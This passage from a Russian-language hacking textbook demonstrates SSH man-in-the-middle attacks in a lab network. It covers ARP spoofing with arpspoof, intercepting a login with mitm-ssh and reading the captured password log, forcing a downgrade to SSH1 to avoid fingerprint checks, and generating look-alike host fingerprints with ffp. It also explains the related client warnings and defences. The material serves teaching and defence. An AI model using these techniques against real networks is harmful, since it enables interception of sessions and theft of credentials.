[:
] - Static route to port on host
(for non NAT connections)
Options:
-v - Verbose output
-n - Do not attempt to resolve hostnames
-d - Debug, repeat to increase verbosity
-p port - Port to listen for connections on
-f configfile - Configuration file to read
Log Options:
-c logdir - Log data from client in directory
-s logdir - Log data from server in directory
-o file - Log passwords to file reader@hacking:
$ mitm-ssh 192.168.42.72 -v -n -p 2222
Using static route to 192.168.42.72:22
0x750 Гибридные шифры
453
SSH MITM Server listening on 0.0.0.0 port 2222.
Generating 768 bit RSA key.
RSA key generation complete.
Затем в другом окне терминала на той же машине запускается arpspoof
Дуга Сонга, чтобы фальсифицировать кэши ARP и перенаправить тра- фик, предназначенный 192.168.42.72, на нашу машину.
reader@hacking: $ arpspoof
Version: 2.3
Usage: arpspoof [-i interface] [-t target] host reader@hacking: $ sudo arpspoof -i eth0 192.168.42.72 0:12:3f:7:39:9c ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.42.72 is-at
0:12:3f:7:39:9c
0:12:3f:7:39:9c ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.42.72 is-at
0:12:3f:7:39:9c
0:12:3f:7:39:9c ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.42.72 is-at
0:12:3f:7:39:9c
Теперь все готово к MitM-атаке на очередную ничего не подозреваю- щую жертву. Ниже показан терминал другой машины в этой сети
(192.168.42.250), которая открывает соединение SSH с 192.168.42.72.
На машине 192.168.42.250 (tetsuo),
открывающей соединение с 192.168.42.72 (loki)
iz@tetsuo: $ ssh jose@192.168.42.72
The authenticity of host ‘192.168.42.72 (192.168.42.72)’ can’t be established.
RSA key fingerprint is 84:7a:71:58:0f:b5:5e:1b:17:d7:b5:9c:81:5a:56:7c.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added ‘192.168.42.72’ (RSA) to the list of known hosts.
jose@192.168.42.72’s password:
Last login: Mon Oct 1 06:32:37 2007 from 192.168.42.72
Linux loki 2.6.20-16-generic #2 SMP Thu Jun 7 20:19:32 UTC 2007 i686
jose@loki: $ ls -a
. .. .bash_logout .bash_profile .bashrc .bashrc.swp .profile Examples jose@loki: $ id uid=1001(jose) gid=1001(jose) groups=1001(jose)
jose@loki: $ exit logout
Connection to 192.168.42.72 closed.
iz@tetsuo: $
Казалось бы, все нормально, и соединение защищенное. Однако это со- единение было тайно пропущено через машину атакующего, который имел отдельное закрытое соединение с сервером. На машине атакующе- го зарегистрированы все детали соединения.
4540x700 Криптология
На машине атакующегоreader@hacking: $ sudo mitm-ssh 192.168.42.72 -v -n -p 2222
Using static route to 192.168.42.72:22
SSH MITM Server listening on 0.0.0.0 port 2222.
Generating 768 bit RSA key.
RSA key generation complete.
WARNING: /usr/local/etc/moduli does not exist, using fixed modulus
[MITM] Found real target 192.168.42.72:22 for NAT host 192.168.42.250:1929
[MITM] Routing SSH2 192.168.42.250:1929 -> 192.168.42.72:22
[2007-10-01 13:33:42] MITM (SSH2) 192.168.42.250:1929 -> 192.168.42.72:22
SSH2_MSG_USERAUTH_REQUEST: jose ssh-connection password 0 sP#byp%srt
[MITM] Connection from UNKNOWN:1929 closed reader@hacking: $ ls /usr/local/var/log/mitm-ssh/
passwd.log ssh2 192.168.42.250:1929 <- 192.168.42.72:22
ssh2 192.168.42.250:1929 -> 192.168.42.72:22
reader@hacking: $ cat /usr/local/var/log/mitm-ssh/passwd.log
[2007-10-01 13:33:42] MITM (SSH2) 192.168.42.250:1929 -> 192.168.42.72:22
SSH2_MSG_USERAUTH_REQUEST: jose ssh-connection password 0 sP#byp%srt reader@hacking: $ cat /usr/local/var/log/mitm-ssh/ssh2*
Last login: Mon Oct 1 06:32:37 2007 from 192.168.42.72
Linux loki 2.6.20-16-generic #2 SMP Thu Jun 7 20:19:32 UTC 2007 i686
jose@loki: $ ls -a
. .. .bash_logout .bash_profile .bashrc .bashrc.swp .profile Examples jose@loki: $ id uid=1001(jose) gid=1001(jose) groups=1001(jose)
jose@loki: $ exit logout
Поскольку в действительности аутентификация была переадресована и машина атакующего выступала в качестве прокси-сервера, появи- лась возможность перехватить пароль sP#byp%srt. Кроме того, перехва- чены данные, передававшиеся во время соединения, и атакующему из- вестно все, что делала жертва во время сеанса SSH.
Подобная атака возможна из-за способности атакующего маскировать- ся под любого из корреспондентов. SSL и SSH проектировались с уче- том такой возможности и обладают средствами защиты против фаль- сификации идентифицирующих данных. В SSL для
проверки личных данных применяются сертификаты, а в SSH – цифровые отпечатки хо- ста. Если у атакующего не окажется нужного сертификата или циф- рового отпечатка Б, когда А попытается открыть с ним зашифрован- ный канал связи, будет обнаружено несоответствие цифровых подпи- сей, и А получит об этом предупреждение.
В предыдущем примере 192.168.42.250 (tetsuo) никогда раньше не устанавливал связь по SSH с 192.168.42.72 (loki) и поэтому не распола- гал его отпечатком. Фактически за правильный он принял отпечаток,
0x750 Гибридные шифры
455
сгенерированный mitm-ssh. Но если бы у 192.168.42.250 (tetsuo) был отпечаток для 192.168.42.72 (loki), атака была бы замечена и пользо- ватель получил бы бросающееся в глаза предупреждение:
iz@tetsuo: $ ssh jose@192.168.42.72
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that the RSA host key has just been changed.
The fingerprint for the RSA key sent by the remote host is
84:7a:71:58:0f:b5:5e:1b:17:d7:b5:9c:81:5a:56:7c.
Please contact your system administrator.
Add correct host key in /home/jon/.ssh/known_hosts to get rid of this message.
Offending key in /home/jon/.ssh/known_hosts:1
RSA host key for 192.168.42.72 has changed and you have requested strict checking.
Host key verification failed.
iz@tetsuo: $
Клиент openssh будет препятствовать установлению соединения, пока пользователь не удалит прежний цифровой отпечаток. Однако мно- гие клиенты SSH в Windows не столь строги в соблюдении этих правил и выводят запрос «Вы уверены, что хотите продолжить соединение?»
Неподготовленный пользователь может просто щелкнуть мышью, иг- норировав предупреждение.
0x752 Различия цифровых отпечатков хостов
в протоколе SSH
Все же у цифровых отпечатков SSH есть ряд уязвимостей. Эти уязви- мости устранены в более новых версиях openssh, но в старых реализа- циях они сохраняются.Обычно, когда впервые устанавливается соеди- нение SSH с новым хостом, его отпечаток добавляется в файл known_
hosts:
iz@tetsuo: $ ssh jose@192.168.42.72
The authenticity of host ‘192.168.42.72 (192.168.42.72)’ can’t be established.
RSA key fingerprint is ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added ‘192.168.42.72’ (RSA) to the list of known hosts.
jose@192.168.42.72’s password:
iz@tetsuo: $ grep 192.168.42.72 /.ssh/known_hosts
192.168.42.72 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEA8Xq6H28EOiCbQaFbIzPtMJSc316SH4aOijgkf7nZnH4LirNz iH5upZmk4/JSdBXcQohiskFFeHadFViuB4xIURZeF3Z7OJtEi8aupf2pAnhSHF4rmMV1pwaSuNTa hsBoKOKSaTUOW0RN/1t3G/52KTzjtKGacX4gTLNSc8fzfZU=
iz@tetsuo: $
456
0x700 Криптология
Однако есть две разные версии протокола SSH – SSH1 и SSH2, каждая со своими цифровыми отпечатками узла.
iz@tetsuo: $ rm /.ssh/known_hosts iz@tetsuo: $ ssh -1 jose@192.168.42.72
The authenticity of host ‘192.168.42.72 (192.168.42.72)’ can’t be established.
RSA1 key fingerprint is e7:c4:81:fe:38:bc:a8:03:f9:79:cd:16:e9:8f:43:55.
Are you sure you want to continue connecting (yes/no)? no
Host key verification failed.
iz@tetsuo: $ ssh -2 jose@192.168.42.72
The authenticity of host ‘192.168.42.72 (192.168.42.72)’ can’t be established.
RSA key fingerprint is ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0.
Are you sure you want to continue connecting (yes/no)? no
Host key verification failed.
iz@tetsuo: $
Баннер, отображаемый сервером SSH, указывает, какие версии прото- кола SSH он понимает (ниже выделены полужирным):
iz@tetsuo: $ telnet 192.168.42.72 22
Trying 192.168.42.72...
Connected to 192.168.42.72.
Escape character is ‘^]’.
SSH-1.99-OpenSSH_3.9p1
Connection closed by foreign host.
iz@tetsuo: $ telnet 192.168.42.1 22
Trying 192.168.42.1...
Connected to 192.168.42.1.
Escape character is ‘^]’.
SSH-2.0-OpenSSH_4.3p2 Debian-8ubuntu1
Connection closed by foreign host.
iz@tetsuo: $
В баннере 192.168.42.72 (loki) есть строка SSH-1.99, показывающая, что сервер воспринимает оба протокола, 1 и 2. Часто в конфигурации сер- вера SSH указывается строка Protocol 2,1, тоже означающая, что сер- вер понимает оба протокола, но по возможности старается использо- вать SSH2. Это сделано в целях обеспечения обратной совместимости.
В отличие от этого, в баннере 192.168.42.1 есть строка SSH-2.0, показы- вающая, что сервер понимает только протокол 2. Тогда очевидно, что все подключающиеся к этому узлу клиенты могут связываться только по SSH2, и потому у них есть отпечатки только для протокола 2.
То же самое относится к loki (192.168.42.72); однако loki также при- нимает SSH1, у которого другой набор отпечатков узлов. Едва ли ока- жется, что клиент использовал SSH1, а потому отпечатка узла для это- го протокола у него не будет.
Если при MitM-атаке модифицированный демон SSH заставит клиента выбрать для связи альтернативный протокол, отпечаток хоста не будет
0x750 Гибридные шифры
457найден.
Пользователь получит не длинное предупреждение, а предло- жение добавить новый цифровой отпечаток. У программы mitm-ssh файл конфигурации похож на тот, что применяется в openssh, потому что она основана на openssh. Если в файл
/usr/local/etc/mitm-ssh_config добавить строку Protocol 1, то демон mitm-ssh будет заявлять, что он понимает только протокол SSH1.
Следующий листинг показывает, что сервер SSH обычно принимает оба протокола – SSH1 и SSH2, но с новым файлом конфигурации лож- ный сервер заявляет, что понимает только протокол SSH1.
На невинном сетевом узле 192.168.42.250 (tetsuo) iz@tetsuo: $ telnet 192.168.42.72 22
Trying 192.168.42.72...
Connected to 192.168.42.72.
Escape character is ‘^]’.
SSH-1.99-OpenSSH_3.9p1Connection closed by foreign host.
iz@tetsuo: $ rm /.ssh/known_hosts iz@tetsuo: $ ssh jose@192.168.42.72
The authenticity of host ‘192.168.42.72 (192.168.42.72)’ can’t be established.
RSA key fingerprint is ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added ‘192.168.42.72’ (RSA) to the list of known hosts.
jose@192.168.42.72’s password:
iz@tetsuo: $
На машине атакующего, заставив mitm-ssh принимать только SSH1 reader@hacking: $ echo “Protocol 1” >> /usr/local/etc/mitm-ssh_config reader@hacking: $ tail /usr/local/etc/mitm-ssh_config
# Where to store passwords
#PasswdLogFile /var/log/mitm-ssh/passwd.log
# Where to store data sent from client to server
#ClientToServerLogDir /var/log/mitm-ssh
# Where to store data sent from server to client
#ServerToClientLogDir /var/log/mitm-ssh
Protocol 1reader@hacking: $ mitm-ssh 192.168.42.72 -v -n -p 2222
Using static route to 192.168.42.72:22
SSH MITM Server listening on 0.0.0.0 port 2222.
Generating 768 bit RSA key.
RSA key generation complete.
4580x700 Криптология
Снова на 192.168.42.250 (tetsuo)iz@tetsuo: $ telnet 192.168.42.72 22
Trying 192.168.42.72...
Connected to 192.168.42.72.
Escape character is ‘^]’.
SSH-1.5-OpenSSH_3.9p1Connection closed by foreign host.
Обычно клиенты вроде tetsuo, соединяющиеся с loki на 192.168.42.72, должны иметь опыт только соединений SSH2. Поэтому у клиента дол- жен храниться только отпечаток узла для протокола 2. Когда при
MitM-атаке навязывается протокол 1, отпечаток атакующего не бу- дет сравниваться с тем отпечатком, который уже хранится, потому что протоколы разные. В старых реализациях просто
предлагалось доба- вить этот новый отпечаток, потому что формально отпечатка узла для этого протокола нет. Это показывает следующий листинг:
iz@tetsuo: $ ssh jose@192.168.42.72
The authenticity of host ‘192.168.42.72 (192.168.42.72)’ can’t be established.
RSA1 key fingerprint is 45:f7:8d:ea:51:0f:25:db:5a:4b:9e:6a:d6:3c:d0:a6.
Are you sure you want to continue connecting (yes/no)?
С тех пор как стала известна эта уязвимость, новые реализации Open-
SSH стали выводить несколько более развернутое сообщение:
iz@tetsuo: $ ssh jose@192.168.42.72
WARNING: RSA key found for host 192.168.42.72
in /home/iz/.ssh/known_hosts:1
RSA key fingerprint ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0.
The authenticity of host ‘192.168.42.72 (192.168.42.72)’ can’t be established but keys of different type are already known for this host.
RSA1 key fingerprint is 45:f7:8d:ea:51:0f:25:db:5a:4b:9e:6a:d6:3c:d0:a6.
Are you sure you want to continue connecting (yes/no)?
Это модифицированное предупреждение звучит не так строго, как предупреждение, выводимое при различии цифровых отпечатков хо- ста для одного и того же протокола. Кроме того, поскольку не все кли- енты вовремя обновляются, этот прием может сохранить свою дей- ственность для MitM-атак.
0x753 Нечеткие отпечаткиУ Конрада Рика (Konrad Rieck) возникла интересная идея относитель- но цифровых отпечатков хоста в SSH. Часто пользователь подключа- ется к серверу через различные клиенты. Отпечаток хоста выводится и регистрируется каждый раз, когда выбирается новый клиент, и оза- боченный безопасностью клиент обычно запоминает общий вид отпе- чатка хоста. Никто, конечно, не
заучивает отпечаток целиком, но су-
0x750 Гибридные шифры
459
щественные изменения в нем легко обнаруживаются. Если при соеди- нении через новый клиент пользователь помнит, как примерно выгля- дит отпечаток хоста, это значительно увеличивает безопасность соеди- нения. При попытке осуществить MitM-атаку явное различие в цифро- вых отпечатках хоста обычно определяется на глаз.
Однако глаз и голову можно провести. Разные цифровые отпечатки мо- гут быть очень похожи друг на друга. В некоторых экранных шриф- тах цифры 1 и 7 выглядят почти одинаково. Обычно лучше всего за- поминаются шестнадцатеричные цифры в начале и конце отпечатка, а те, что в середине, выглядят немного расплывчато. Технология не- четких отпечатков состоит в в обмане зрения: генерируются ключи хо- ста, очень похожие на исходный отпечаток.
В пакете openssh есть средства для извлечения ключей хостов с сер- вера.
reader@hacking: $ ssh-keyscan -t rsa 192.168.42.72 > loki.hostkey
# 192.168.42.72 SSH-1.99-OpenSSH_3.9p1
reader@hacking: $ cat loki.hostkey
192.168.42.72 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEA8Xq6H28EOiCbQaFbIzPtMJSc316SH4aOijgkf7nZnH4LirNz iH5upZmk4/JSdBXcQohiskFFeHadFViuB4xIURZeF3Z7OJtEi8aupf2pAnhSHF4rmMV1pwaSuNTa hsBoKOKSaTUOW0RN/1t3G/52KTzjtKGacX4gTLNSc8fzfZU=
reader@hacking: $ ssh-keygen -l -f loki.hostkey
1024 ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0 192.168.42.72
reader@hacking: $
Теперь вид отпечатка хоста для 192.168.42.72 (loki) известен, и можно генерировать похожие с виду нечеткие отпечатки. Программу для это- го разработал Конрад Рик, найти ее можно на http://www.thc.org/thc ffp/.
Следующий листинг показывает, как создаются некоторые нечеткие отпечатки для 192.168.42.72 (loki).
reader@hacking: $ ffp
Usage: ffp [Options]
Options:
-f type Specify type of fingerprint to use [Default: md5]
Available: md5, sha1, ripemd
-t hash Target fingerprint in byte blocks.
Colon-separated: 01:23:45:67... or as string 01234567...
-k type Specify type of key to calculate [Default: rsa]
Available: rsa, dsa
-b bits Number of bits in the keys to calculate [Default: 1024]
-K mode Specify key calulation mode [Default: sloppy]
Available: sloppy, accurate
-m type Specify type of fuzzy map to use [Default: gauss]
Available: gauss, cosine
-v variation Variation to use for fuzzy map generation [Default: 7.3]
-y mean Mean value to use for fuzzy map generation [Default: 0.14]
-l size Size of list that contains best fingerprints [Default: 10]
-s filename Filename of the state file [Default: /var/tmp/ffp.state]
460
0x700 Криптология
-e Extract SSH host key pairs from state file
-d directory Directory to store generated ssh keys to [Default: /tmp]
-p period Period to save state file and display state [Default: 60]
-V Display version information
No state file /var/tmp/ffp.state present, specify a target hash.
reader@hacking: $ ffp -f md5 -k rsa -b 1024 -t ba:06:7f:d2:b9:74:a8:0a:13: cb:a2:f7:e0:10:59:a0
---[Initializing]-----------------------------------------------------------
Initializing Crunch Hash: Done
Initializing Fuzzy Map: Done
Initializing Private Key: Done
Initializing Hash List: Done
Initializing FFP State: Done
---[Fuzzy Map]--------------------------------------------------------------
Length: 32
Type: Inverse Gaussian Distribution
Sum: 15020328
Fuzzy Map: 10.83% | 9.64% : 8.52% | 7.47% : 6.49% | 5.58% : 4.74% | 3.96% :
3.25% | 2.62% : 2.05% | 1.55% : 1.12% | 0.76% : 0.47% | 0.24% :
0.09% | 0.01% : 0.00% | 0.06% : 0.19% | 0.38% : 0.65% | 0.99% :
1.39% | 1.87% : 2.41% | 3.03% : 3.71% | 4.46% : 5.29% | 6.18% :
---[Current Key]------------------------------------------------------------
Key Algorithm: RSA (Rivest Shamir Adleman)
Key Bits / Size of n: 1024 Bits
Public key e: 0x10001
Public Key Bits / Size of e: 17 Bits
Phi(n) and e r.prime: Yes
Generation Mode: Sloppy
State File: /var/tmp/ffp.state
Running...
---[Current State]----------------------------------------------------------
Running: 0d 00h 00m 00s | Total: 0k hashs | Speed: nan hashs/s
----------------------------------------------------------------------------
Best Fuzzy Fingerprint from State File /var/tmp/ffp.state
Hash Algorithm: Message Digest 5 (MD5)
Digest Size: 16 Bytes / 128 Bits
Message Digest: 6a:06:f9:a6:cf:09:19:af:c3:9d:c5:b9:91:a4:8d:81
Target Digest: ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0
Fuzzy Quality: 25.652482%
---[Current State]----------------------------------------------------------
Running: 0d 00h 01m 00s | Total: 7635k hashs | Speed: 127242 hashs/s
----------------------------------------------------------------------------
Best Fuzzy Fingerprint from State File /var/tmp/ffp.state
Hash Algorithm: Message Digest 5 (MD5)
Digest Size: 16 Bytes / 128 Bits